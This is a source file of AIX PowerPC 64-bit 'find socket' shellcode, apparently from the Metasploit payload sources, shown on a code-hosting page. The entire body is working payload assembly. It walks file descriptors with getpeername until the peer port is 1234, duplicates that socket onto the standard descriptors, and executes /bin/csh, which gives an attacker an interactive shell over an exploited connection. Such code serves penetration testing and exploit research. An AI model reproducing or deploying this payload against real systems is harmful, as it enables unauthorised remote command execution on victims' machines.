Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/aix-power-fndsockcode64.S
Views: 11766
/*1* $Id: aix-power-fndsockcode64.S 40 2008-11-17 02:45:30Z ramon $2*3* aix-power-fndsockcode64.S - AIX Power Find socket code4* Copyright 2008 Ramon de Carvalho Valle <[email protected]>5*6* This library is free software; you can redistribute it and/or7* modify it under the terms of the GNU Lesser General Public8* License as published by the Free Software Foundation; either9* version 2.1 of the License, or (at your option) any later version.10*11* This library is distributed in the hope that it will be useful,12* but WITHOUT ANY WARRANTY; without even the implied warranty of13* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU14* Lesser General Public License for more details.15*16* You should have received a copy of the GNU Lesser General Public17* License along with this library; if not, write to the Free Software18* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA19*20*/2122/*23* Compile with the following command.24* $ gcc -Wall -DAIXLEVEL -m64 -o aix-power-fndsockcode6425* aix-power-fndsockcode64.S26*27* Where AIXLEVEL is one of the currently supported AIX levels.28* -DV530 AIX 5.3.029*30*/3132#include "aix-power.h"3334.globl .main35.csect .text[PR]3637.main:3839syscallcode:40xor. %r31,%r31,%r3141bnel syscallcode42mflr %r3043cal %r30,511(%r30)44cal %r30,-511+28(%r30)45mtctr %r3046bctr47crorc %cr6,%cr6,%cr648.long 0x44ffff0249cal %r30,-8(%r30)5051fndsockcode:52lil %r29,__CAL5354# getpeername5556stu %r31,-4(%r1)57mr %r28,%r158cal %r27,-511+44(%r29)59stu %r27,-4(%r1)60mr %r27,%r161620:63cal %r31,511(%r31)64cal %r31,-511+1(%r31)6566mr %r5,%r2767mr %r4,%r2868mr %r3,%r3169cal %r2,__NC_getpeername(%r29)70mtctr %r3071bctrl7273cal %r26,511(%r28)74lhz %r26,-511+2(%r26)7576cmpli 0,%r26,123477bne 0b7879# close8081cal %r25,-511+2(%r29)82831:84mr %r3,%r2585cal %r2,__NC_close(%r29)86mtctr %r3087bctrl8889# kfcntl9091mr %r5,%r2592xor %r4,%r4,%r493mr %r3,%r3194cal %r2,__NC_kfcntl(%r29)95mtctr %r3096bctrl9798ai. %r25,%r25,-199bge 1b100101shellcode64:102# lil %r31,__CAL103xor. %r5,%r5,%r5104bnel shellcode64105# mflr %r30106# cal %r30,511(%r30)107# cal %r3,-511+40(%r30)108# stb %r5,-511+48(%r30)109mflr %r24110cal %r24,511(%r24)111cal %r3,-511+40(%r24)112stb %r5,-511+48(%r24)113stdu %r5,-8(%r1)114stdu %r3,-8(%r1)115mr %r4,%r1116# cal %r2,__NC_execve(%r31)117cal %r2,__NC_execve(%r29)118# crorc %cr6,%cr6,%cr6119# .long 0x44ffff02120mtctr %r30121bctrl122.asciz "/bin/csh"123124125126